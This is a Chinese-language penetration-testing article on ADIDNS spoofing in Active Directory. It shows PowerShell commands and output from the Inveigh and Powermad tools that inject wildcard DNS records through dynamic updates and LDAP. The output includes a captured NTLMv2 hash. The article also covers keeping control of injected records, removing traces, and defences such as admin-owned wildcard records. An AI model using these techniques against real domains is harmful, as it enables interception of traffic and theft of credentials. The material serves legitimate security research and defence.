内网渗透技术之超越LLMNR/NBNS欺骗的ADIDNS欺骗攻击

利用名称解析协议中的缺陷进行内网渗透是执行中间人（ MITM ）攻击的常用技术。有两个特别容易受到攻击的名称解析协议分别是链路本地多播名称解析（ LLMNR ）和 NetBIOS 名称服务（ NBNS ）。攻击者可以利用这两种协议来响应无法通过更高优先级的解析方法（如 DNS ）应答的请求。 Active Directory （ AD ）环境中默认启用了 LLMNR 和 NBNS ，这使得这种类型的欺骗攻击将会成为一种非常有效的方式，既可以获得对域的初始访问权限，也可以在漏洞后期利用过程中提升域权限。为了在内网渗透的场景中使用这种攻击技术，我开发了 Inveigh 这个工具，这是一个基于 PowerShell 的 LLMNR/NBNS 欺骗工具，可以在已经拿到权限的 AD 主机上运行。

PS C:\users\kevin\Desktop\Inveigh> Invoke-Inveigh -ConsoleOutput Y
[*] Inveigh 1.4 Dev started at 2018-07-05T22:29:35
[+] Elevated Privilege Mode = Enabled
[+] Primary IP Address = 192.168.125.100
[+] LLMNR/NBNS/mDNS/DNS Spoofer IP Address = 192.168.125.100
[+] LLMNR Spoofer = Enabled
[+] NBNS Spoofer = Enabled
[+] SMB Capture = Enabled
[+] HTTP Capture = Enabled
[+] HTTPS Capture = Disabled
[+] HTTP/HTTPS Authentication = NTLM
[+] WPAD Authentication = NTLM
[+] WPAD Default Response = Enabled
[+] Real Time Console Output = Enabled
WARNING: [!] Run Stop-Inveigh to stop manually
[*] Press any key to stop real time console output
[+] [2018-07-05T22:29:53] LLMNR request for badrequest received from 192.168.125.102 [Response Sent]
[+] [2018-07-05T22:29:53] SMB NTLMv2 challenge/response captured from 192.168.125.102(INVEIGH-WKS2):
testuser1::INVEIGH:3E834C6F9FC3CA5B:CBD38F1537AAD7D39CE6A5BC5687373A:010100000000000071ADB439D114D401D5B48AB8C3EC8E010000000002000E0049004E00560045004900470048000100180049004E00560045004900470048002D0057004B00530031000400160069006E00760065006900670068002E006E00650074000300300049006E00760065006900670068002D0057004B00530031002E0069006E00760065006900670068002E006E00650074000500160069006E00760065006900670068002E006E00650074000700080071ADB438D114D401060004000200000008003000300000000000000000000000002000004FC481EC79C5F6BB2B29A2C828A02EC028C9FF563BE5D9597D51FD6DF29DC8BD0A0010000000000000000000000000000000000009001E0063006900660073002F006200610064007200650071007500650073007400000000000000000000000000

在我开发 Inveigh 的整个过程中，我在域环境中进行了很多实验，从不同级别的权限的角度出发，深入研究了 LLMNR/NBNS 欺骗攻击过程。 Inveigh 的许多更新实际上都是在试图实现其他一些基于特权的使用功能。

最近，在 Inveigh 之外的一些研究工作，让我的脑海里出现了一个棘手的问题。如果你已经拥有了对域的非特权访问权限，那么执行 LLMNR/NBNS 欺骗甚至是执行基于名称解析的 MITM 攻击会是一种最佳的攻击方式吗？为了获得这个问题的答案，我不断的在研究可疑的 AD 角色配置，这个角色配置给了我一些找到问题答案的启发，即 Active Directory 集成 DNS （ ADIDNS ）。

名称解析顺序

鉴于撰写本文的目的，我将简要介绍关于 LLMNR / NBNS 欺骗的两个关键部分。首先，在没有实现某些基于路由器的流量路由的情况下， LLMNR 和 NBNS 请求分别包含在单个多播或广播域中。这可以极大地限制被入侵的系统和受到潜在特权欺骗攻击的会话的影响范围。其次，在默认情况下， Windows 系统在尝试解析通过基于网络协议的名称解析请求时会使用以下优先级列表：

1.DNS

2.LLMNR

3.NBNS

尽管 DNS 不直接作为整个攻击中的一部分而被利用，但由于它控制了哪些请求能够交给 LLMNR 或 NBNS 处理，所以，实际上 DNS 对 LLMNR/NBNS 欺骗的有效性具有很大的影响。基本上来说，如果名称请求与 DNS 中列出的记录相匹配，则客户端通常不会尝试通过 LLMNR 和 NBNS 来解析请求。

在执行攻击时，我们是否真的需要满足基于网络的名称解析协议的层次结构所对应的解析顺序？是否有一种可以直接利用 DNS 进行解析的简单方法？记住我们在域中仅具有非特权访问权限这个限制条件，让我们看看在这个限制条件下我们必须使用什么才可以完成攻击。

· Active Directory 集成的 DNS 区域

·  修改 ADIDNS 区域

·  动态更新

·  使用动态更新补充 LLMNR / NBNS 欺骗攻击

· 记忆方式

· 通配符记录

· 名字里面有什么？

·  ADIDNS 同步和复制

· SOA 序列号

· 维持节点控制

· 节点墓碑化

· 节点删除

· 防御 ADIDNS 攻击

· 最终的获胜者是？

· 相关工具！

Active Directory 集成的 DNS 区域

域控制器和 ADIDNS 区域总是一起出现。每个域控制器通常都有一个可访问的 DNS 服务器，至少托管了默认的 ADIDNS 区域。

 

我要强调的第一个默认设置是 ADIDNS 区域的自主访问控制列表（ DACL ）。

 

从上图中，你可以看到，该区域默认情况下列出了具有 “Authenticated Users” （已验证用户）， “Create all child objects” （创建所有子对象）。经过身份验证的用户对域名的操作门槛相当低，当然，这类用户可以操作的域名也包括了不需要特权可以访问的目标。但是，我们要清楚我们该如何利用这个特性以及我们可以用它做什么？

修改 ADIDNS 区域

远程修改 ADIDNS 区域主要有两种方法。第一种是使用基于 RPC 的管理工具。要运行这些 工具 通常需要 DNS 管理员或者更高的权限，因此我不打算描述这些工具的功能。第二种方法是 DNS 动态更新。动态更新是专门用于修改 DNS 区域的 DNS 特定协议。在 AD 世界中，动态更新主要由计算机帐户所使用，用于添加和更新自己的 DNS 记录。

这将我们带到了另一个我们所感兴趣的 ADIDNS 区域的默认设置，即安全动态更新的启用状态。

动态更新

去年，为了在漏洞后期利用期间更轻松地利用此默认设置，我开发了一个名为 Invoke-DNSUpdate 的 PowerShell DNS 动态更新工具。

PS C:\Users\kevin\Desktop\Powermad> Invoke-DNSupdate -DNSType A -DNSName test -DNSData 192.168.125.100 -Verbose
VERBOSE: [+] TKEY name 648-ms-7.1-4675.57409638-8579-11e7-5813-000c296694e0
VERBOSE: [+] Kerberos preauthentication successful
VERBOSE: [+] Kerberos TKEY query successful
[+] DNS update successful

一旦了解了如何将权限应用于 DNS 记录，那么使用安全动态更新的规则就变得非常简单。如果区域中并不存在匹配的 DNS 记录名称，则经过身份验证的用户就可以创建相应的 DNS 记录。创建者帐户将获得 DNS 记录的所有权或完全控制权。

 

如果 DNS 区域中已存在匹配的记录名称，则将禁止经过身份验证的用户修改或删除记录，除非用户具有所需的权限，例如用户是管理员的情况。请注意，我正在使用 DNS 记录名称而不是 DNS 记录。在这方面，标准的 DNS 视图可能会令人困惑。实际上，权限是根据 DNS 记录名称而不是在 DNS 控制台中查看的单个 DNS 记录来应用的。

例如，如果管理员创建了名为 “test” 的记录，则非特权帐户无法创建第二条名为 “test” 的记录来作为 DNS 循环设置的一部分。这也适用于多种 DNS 记录类型。如果 DNS 区域的根区域存在默认的 A 记录，则非特权帐户无法为 DNS 区域创建根 MX 记录，因为两个记录在内部都被命名为 “@” 。在本文中，我们将从另一个角度查看 DNS 记录，这会提供更好的按名称分组的 ADIDNS 记录视图。

以下是默认的记录，可防止非特权帐户的操作影响到 Kerberos 和 LDAP 等 AD 服务。

 

对于可以通过非特权用户的动态更新所创建的记录类型，几乎没有任何限制。允许创建的类型仅限于 Windows 服务器动态更新实现所支持的类型。一般支持最常见的记录类型。 Invoke-DNSUpdate 目前支持 A ， AAAA ， CNAME ， MX ， PTR ， SRV 和 TXT 记录。总的来说，如果可以识别出不存在的且值得添加的 DNS 记录，那么单独的安全动态更新肯定是可以被攻击者利用的。

使用动态更新补充 LLMNR / NBNS 欺骗

为了使安全动态更新武器化并能够像 LLMNR / NBNS 欺骗类似的方式运行，我研究了如何将记录注入到 ADIDNS 中来匹配并响应收到的 LLMNR / NBNS 请求。理论上讲， DNS 中不应该存在能够降至 LLMNR / NBNS 的记录。因此，这些记录确实需要已经过身份验证的用户来创建。此方法不实用于在内网中不常见的或只有一次请求的名称。但是，如果你通过 LLMNR / NBNS 继续看到了相同的请求，则将该记录添加到 DNS 可能会有所帮助。

在即将推出的 Inveigh 版本中包含了这种技术的变体。如果 Inveigh 从多个系统检测到相同的 LLMNR / NBNS 请求，则可以将匹配记录添加到 ADIDNS 。当系统发送已经不在 DNS 中存在的旧主机的 LLMNR / NBNS 名称解析请求时，这种方法可能很有效。如果子网内的多个系统正在尝试解析一个特定的名称，那么外部的系统也有可能正在尝试解析相同的名称。在这种情况下，注入 ADIDNS 有助于将攻击扩展到子网边界。

PS C:\users\kevin\Desktop\Inveigh> Invoke-Inveigh -ConsoleOutput Y -DNS Y -DNSThreshold 4
[*] Inveigh 1.4 Dev started at 2018-07-05T22:32:37
[+] Elevated Privilege Mode = Enabled
[+] Primary IP Address = 192.168.125.100
[+] LLMNR/NBNS/mDNS/DNS Spoofer IP Address = 192.168.125.100
[+] LLMNR Spoofer = Enabled
[+] DNS Injection = Enabled
[+] SMB Capture = Enabled
[+] HTTP Capture = Enabled
[+] HTTPS Capture = Disabled
[+] HTTP/HTTPS Authentication = NTLM
[+] WPAD Authentication = NTLM
[+] WPAD Default Response = Enabled
[+] Real Time Console Output = Enabled
WARNING: [!] Run Stop-Inveigh to stop manually
[*] Press any key to stop real time console output
[+] [2018-07-05T22:32:52] LLMNR request for dnsinject received from 192.168.125.102 [Response Sent]
[+] [2018-07-05T22:33:00] LLMNR request for dnsinject received from 192.168.125.100 [Response Sent]
[+] [2018-07-05T22:35:00] LLMNR request for dnsinject received from 192.168.125.104 [Response Sent]
[+] [2018-07-05T22:41:00] LLMNR request for dnsinject received from 192.168.125.105 [Response Sent]
[+] [2018-07-05T22:50:00] LLMNR request for dnsinject received from 192.168.125.106 [Response Sent]
WARNING: [!] [2018-07-05T22:33:01] DNS (A) record for dnsinject added

记住方式

在尝试寻找理想的安全动态更新攻击时，我在协议本身或已经存在的默认 DNS 记录这块遇到了困难。因为，如前面所述，我曾计划在 Inveigh 中实现动态更新攻击，于是我开始更多地思考如何在渗透测试中使用这种技术。为了帮助渗透测试人员确认这种攻击确实可以起作用，我意识到创建一个 PowerShell 函数会有所帮助，该函数可以通过非特权帐户的上下文查看 ADIDNS 区域的权限。但是，如果不使用只有管理员才有权限使用的工具，我能否可以远程枚举 DACL 呢？在我的大脑中没有参与 ADIDNS 研究的那一部分立即回答道： “DNS 区域存储在 AD 中，只需通过 LDAP 查看 DACL” 。

LDAP …

…… 看来还有另外一种查看 DNS 区域的方式我没有用过。

我回想了我在当网络管理员的工作期间可能遇到的事情，我发现 ADIDNS 区域当前存储在 DomainDNSZones 或 ForestDNSZones 分区中。

LDAP 为 “ 经过身份验证的用户 ” 提供了一种可以在不依赖动态更新的情况下修改 ADIDNS 区域的方法。通过创建 dnsNode 类的 AD 对象，可以直接通过 LDAP 将 DNS 记录添加到 ADIDNS 区域。

 

通过这种简单的理解，我现在有了一种执行我一直在追逐的 DNS 攻击的方法。

 

通配符记录

通配符记录允许 DNS 以一种与 LLMNR / NBNS 欺骗非常类似的方式运行。创建通配符记录后， DNS 服务器将使用该记录来响应包含在区域中但未明确匹配到的记录的名称请求。

PS C:\Users\kevin\Desktop\Powermad> Resolve-DNSName NoDNSRecord
Name                            Type   TTL   Section    IPAddress
----                            ----   ---   -------    ---------
NoDNSRecord.inveigh.net         A      600   Answer     192.168.125.100

与 LLMNR / NBNS 不同，通配符记录还会解析与 ADIDNS 区域匹配到的完全限定名称的请求。

PS C:\Users\kevin\Desktop\Powermad> Resolve-DNSName NoDNSRecord2.inveigh.net
Name                            Type   TTL   Section    IPAddress
----                            ----   ---   -------    ---------
NoDNSRecord2.inveigh.net        A      600   Answer     192.168.125.100

我使用通配符记录进行注入的过程被动态更新本身的一些限制所阻止。对于动态更新，至少 Windows 系统在实现的时候似乎没有正确处理 '*' 字符。但是， LDAP 却没有同样的问题。

PS C:\Users\kevin\Desktop\Powermad> New-ADIDNSNode -Node * -Verbose
VERBOSE: [+] Domain Controller = Inveigh-DC1.inveigh.net
VERBOSE: [+] Domain = inveigh.net
VERBOSE: [+] ADIDNS Zone = inveigh.net
VERBOSE: [+] Distinguished Name = DC=*,DC=inveigh.net,CN=MicrosoftDNS,DC=DomainDNSZones,DC=inveigh,DC=net
VERBOSE: [+] Data = 192.168.125.100
VERBOSE: [+] DNSRecord Array = 04-00-01-00-05-F0-00-00-BA-00-00-00-00-00-02-58-00-00-00-00-22-D8-37-00-C0-A8-7D-64
[+] ADIDNS node * added

名称里面有什么？

我们把研究的步伐后退一步，让我们看一下 DNS 节点是如何用于形成 ADIDNS 记录的。 ADIDNS 记录的主要结构存储在 dnsRecord 属性中。此属性定义了一些元素，比如记录类型，目标 IP 地址或主机名以及静态与动态分类之类的元素。

 

名称之外的所有关键记录的详细信息都存储在 dnsRecord 中。如果你有兴趣，可以在 MS-DNSP 中 找到有关属性结构的更多信息。

我创建了一个名为 New-DNSRecordArray 的 PowerShell 函数，它可以为 A ， AAAA ， CNAME ， DNAME ， MX ， NS ， PTR ， SRV 和 TXT 这些记录类型创建一个 dnsRecord 数组。

PS C:\Users\kevin\Desktop\Powermad> $dnsRecord = New-DNSRecordArray -Type A -Data 192.168.125.100
PS C:\Users\kevin\Desktop\Powermad> [System.Bitconverter]::ToString($dnsrecord)
04-00-01-00-05-F0-00-00-BA-00-00-00-00-00-02-58-00-00-00-00-79-D8-37-00-C0-A8-7D-64

正如我之前所提到的， LDAP 可以更好地查看匹配到名称的 DNS 记录是如何组合在一起的。单个 DNS 节点可以在 dnsRecord 属性中包含多行。每行代表一个具有相同名称的单独的 DNS 记录。下面是名称为 “@” 的节点的 dnsRecord 属性中包含的多个记录的示例。

 

可以通过在结尾附加而不是覆盖现有属性值的方式将新的行添加到节点的 dnsRecord 属性中。我创建的用于编辑属性的 PowerShell 函数 Set-ADIDNSNodeAttribute 有一个 'Append' 开关可以用来执行此操作。

ADIDNS 同步和复制

通过 LDAP 修改 ADIDNS 区域时，你可能会发现节点添加到 LDAP 与在 DNS 中出现该记录之间会有延迟。这是因为 DNS 服务器的服务正在使用它自己的 ADIDNS 区域的内存副本。默认情况下， DNS 服务器每隔 180 秒会把内存中的副本与 AD 进行同步。

在大型的多站点的 AD 基础架构中，域控制器复制时间可能是发起 ADIDNS 欺骗攻击的一个因素和时机。在企业内网中，为了充分扩大并利用我们添加的记录所影响的范围，攻击时间需要延长复制延迟的时间。默认情况下，站点之间的复制最多可能需要三个小时。要减少延迟，可以通过定位一台攻击效果最大的 DNS 服务器来启动攻击。尽管在内网环境中向每个 DNS 服务器添加记录并在复制之前跳转可以起作用，但请记住，一旦复制完成， AD 将需要对重复对象进行排序。

SOA 序列号

使用 ADIDNS 区域有另外一个需要考虑的因素是网络上可能存在其他集成的 DNS 服务器。如果服务器托管了从属的 DNS 区域，则序列号会用于确定是否发生了更改。幸运的是，通过 LDAP 添加 DNS 节点时，序列号会递增。递增的序列号需要包含在节点的 dnsRecord 数组中，确保可以将记录复制到托管从属区域的服务器。区域的 SOA 序列号是所有节点的 dnsRecord 属性中列出的数字最高的一个序列号。在这里需要注意的是 SOA 序列号只递增 1 ，防止区域的序列号出现不必要地大量递增。我创建了一个名为 New-SOASerialNumberArray 的 PowerShell 函数，简化了这个过程。

PS C:\Users\kevin\Desktop\Powermad> New-SOASerialNumberArray
62
0
0
0

SOA 序列号也可以通过 nslookup 获得。

PS C:\Users\kevin\Desktop\Powermad> nslookup
Default Server:  UnKnown
Address:  192.168.125.10
> set type=soa
> inveigh.net
Server:  UnKnown
Address:  192.168.125.10
inveigh.net
        primary name server = inveigh-dc1.inveigh.net
        responsible mail addr = hostmaster.inveigh.net
        serial  = 255
        refresh = 900 (15 mins)
        retry   = 600 (10 mins)
        expire  = 86400 (1 day)
        default TTL = 3600 (1 hour)
inveigh-dc1.inveigh.net internet address = 192.168.125.10

收集的序列号可以直接提供给 New-SOASerialNumberArray 使用。在这种情况下， New-SOASerialNumberArray 将跳过连接到 DNS 服务器的过程，并直接使用你指定的序列号。

维持节点控制

一旦使用经过身份验证的用户创建了节点，创建者帐户将拥有该节点的所有权或完全控制权。 “Authenticated Users” 主体本身不会在节点的 DACL 中列出。因此，失去对创建者帐户的访问权限可能会导致你无法删除已添加的记录。为了避免这种情况，可以在创建节点时将 dNSTombstoned 属性设置为 “True” 。

PS C:\Users\kevin\Desktop\Powermad> New-ADIDNSNode -Node * -Tombstone -Verbose
VERBOSE: [+] Domain Controller = Inveigh-DC1.inveigh.net
VERBOSE: [+] Domain = inveigh.net
VERBOSE: [+] ADIDNS Zone = inveigh.net
VERBOSE: [+] Distinguished Name = DC=*,DC=inveigh.net,CN=MicrosoftDNS,DC=DomainDNSZones,DC=inveigh,DC=net
VERBOSE: [+] Data = 192.168.125.100
VERBOSE: [+] DNSRecord Array = 04-00-01-00-05-F0-00-00-BC-00-00-00-00-00-02-58-00-00-00-00-22-D8-37-00-C0-A8-7D-64
[+] ADIDNS node * added

这使得节点处于一种任何一个经过身份验证的用户都可以执行节点修改的状态。

 

或者，可以修改节点的 DACL 来授予对其他用户或组的访问权限。

PS C:\Users\kevin\Desktop\Powermad> Grant-ADIDNSPermission -Node * -Principal "Authenticated Users" -Access GenericAll -Verbose
VERBOSE: [+] Domain Controller = Inveigh-DC1.inveigh.net
VERBOSE: [+] Domain = inveigh.net
VERBOSE: [+] ADIDNS Zone = inveigh.net
VERBOSE: [+] Distinguished Name = DC=*,DC=inveigh.net,CN=MicrosoftDNS,DC=DomainDNSZones,DC=inveigh,DC=net
[+] ACE added for Authenticated Users to * DACL

拥有创建者帐户的所有权和节点上列出的完全控制权限可以使网络管理员在发现你添加的记录时变得非常容易。虽然可以更改节点的所有权，但是这需要你拥有 SeRestorePrivilege 的令牌。

节点墓碑化

记录的清除并不像从 LDAP 中删除节点那么简单。如果这样做的话，记录仍然保留在 DNS 服务器内存中的区域副本中，直到重新启动服务或手动重新加载 ADIDNS 区域。此外， 180 秒的 AD 同步并不会从 DNS 中删除记录。

通常在 ADIDNS 区域中删除记录时，同时也将从内存中的 DNS 区域副本中删除该记录，并且该节点对象仍保留在 AD 中。要完成清除工作，节点的 dNSTombstoned 属性需要设置为 “True” ，并使用包含墓碑化时间戳的零类型来填充更新的 dnsRecord 属性。

 

删除记录不一定需要你自己生成有效的零类型数组。如果 dnsRecord 属性填充了无效值（例如只有 0x00 ），则在下一次 AD 和 DNS 同步期间，该值将自动切换为零类型数组。

为了简化清理工作，我创建了一个名为 Disable-ADIDNSNode 的 PowerShell 函数，它会更新 dNSTombstoned 和 dnsRecord 属性。

PS C:\Users\kevin\Desktop\Powermad> Disable-ADIDNSNode -Node * -Verbose
VERBOSE: [+] Domain Controller = Inveigh-DC1.inveigh.net
VERBOSE: [+] Domain = inveigh.net
VERBOSE: [+] ADIDNS Zone = inveigh.net
VERBOSE: [+] Distinguished Name = DC=*,DC=inveigh.net,CN=MicrosoftDNS,DC=DomainDNSZones,DC=inveigh,DC=net
[+] ADIDNS node * tombstoned

对于在有多个记录的 DNS 节点中作为单个 dnsRecord 属性行存在的记录，清理过程略有不同。只需删除相关的 dnsRecord 属性行并等待同步或复制。 Set-DNSNodeAttribute 可用于完成此清理操作。

如果你决定通过 LDAP 或动态更新处理现有的记录，则需要注意有关墓碑节点的事项。正常记录的删除过程也会将 dNSTombstoned 属性设置为 “True” 。处于此状态的记录被认为是老的记录，如果设置为 “True” ，则可以进行清理。如果未启用清理，这些记录可能会在 DNS 中驻留一段时间。在没有启用清理功能的测试实验室中，我经常会看到最初由计算机帐户注册的过时记录。使用过时记录时应多加小心。虽然它们肯定是攻击的潜在目标，但它们也可能会因为错误地操作而被覆盖或删除。

节点删除

完全删除 DNS 和 AD 中的 DNS 记录可以更好地抹除你的渗透痕迹。抹除记录需要首先进行节点墓碑化。当 AD 和 DNS 同步以后，要删除内存中的记录，可以通过 LDAP 删除节点。然而复制使得清理工作变得很棘手。不过只需在单个域控制器上快速执行这两个步骤，就会将节点删除任务复制到其他域控制器上。在这种情况下，记录将保留在除一个域控制器之外的所有内存区域的副本中。在渗透测试期间，可以使用常用的从 ADIDNS 删除记录的方式清理墓碑节点。

防御 ADIDNS 攻击

不幸的是，目前还没有已知的针对 ADIDNS 攻击的防御措施。

 

好吧，实际上，有几个很容易部署的防御方案，其中一个是使用静态通配符记录。要防御潜在的 ADIDNS 欺骗攻击，最简单的方法是保持对关键的 DNS 记录的控制。例如，以管理员身份创建静态通配符记录可以阻止非特权帐户创建自己的通配符记录。

PS C:\Users\kevin\Desktop\Powermad> New-ADIDNSNode -Node * -Tombstone -Verbose
VERBOSE: [+] Domain Controller = Inveigh-DC1.inveigh.net
VERBOSE: [+] Domain = inveigh.net
VERBOSE: [+] ADIDNS Zone = inveigh.net
VERBOSE: [+] Distinguished Name = DC=*,DC=inveigh.net,CN=MicrosoftDNS,DC=DomainDNSZones,DC=inveigh,DC=net
VERBOSE: [+] Data = 192.168.125.100
VERBOSE: [+] DNSRecord Array = 04-00-01-00-05-F0-00-00-BD-00-00-00-00-00-02-58-00-00-00-00-20-D8-37-00-C0-A8-7D-64
[-] Exception calling "SendRequest" with "1" argument(s): "The object exists."

记录可以指向你选择的黑洞方法，例如 0.0.0.0 。

 

由管理员所控制的通配符记录的另外一个好处是该记录还能防御 LLMNR / NBNS 欺骗攻击。通配符将通过 DNS 响应区域内的所有名称请求，并防止名称请求下降到 LLMNR / NBNS 而被解析。我强烈建议管理员控制的通配符记录作为 LLMNR / NBNS 欺骗的一般防御手段。

你还可以修改 ADIDNS 区域的 DACL ，更进一步提高防御能力。具体的设置需要根据特定的环境来操作。幸运的是，在实际情况中，要求允许 “ 已经过身份验证的用户 ” 创建记录的可能性非常低。因此，当然存在 DACL 强化的空间。请记住，将记录创建限制为仅限管理员和计算机帐户可能仍会提供很多攻击时机，并且攻击者无需保持对关键记录的控制。

最终获胜者是？

与 LLMNR / NBNS 欺骗相比， ADIDNS 欺骗的主要优点是攻击范围比较大，主要的缺点是需要访问 AD 所需的权限。让我们面对现实吧，我们不一定需要一个更好的 LLMNR / NBNS 欺骗方法。回顾过去，早在 LLMNR 欺骗攻击出现之前， NBNS 欺骗就已经是一个严重的安全问题了。 LLMNR 和 NBNS 欺骗攻击一直都是有效的。我研究 ADIDNS 欺骗攻击已经有一段时间了，所以我的一般建议是，从 LLMNR / NBNS 欺骗开始，并根据需要引入 ADIDNS 欺骗。 LLMNR / NBNS 和 ADIDNS 技术实际上是相互补充的。

为帮助你做出自己的决定，下面的表格包含了一些 ADIDNS ， LLMNR 和 NBNS 欺骗攻击的一般特征：

免责声明：除了能够具有超过标准的 LLMNR / NBNS 欺骗攻击能力之外， ADIDNS 区域仍有许多领域需要探索。

相关工具！

我发布了一个新版的 Powermad ，它包含了几个用于处理 ADIDNS 的功能，包括本文中描述的一些功能：

https://github.com/Kevin-Robertson/Powermad

我将按步骤说明完善 Powermad 的 wiki ：

https://github.com/Kevin-Robertson/Powermad/wiki

此外，如果你想参与到代码的开发中来，你可以在 dev 分支中找到一个实现了 ADIDNS 欺骗攻击的 Inveigh 1.4 版本：

https://github.com/Kevin-Robertson/Inveigh/tree/dev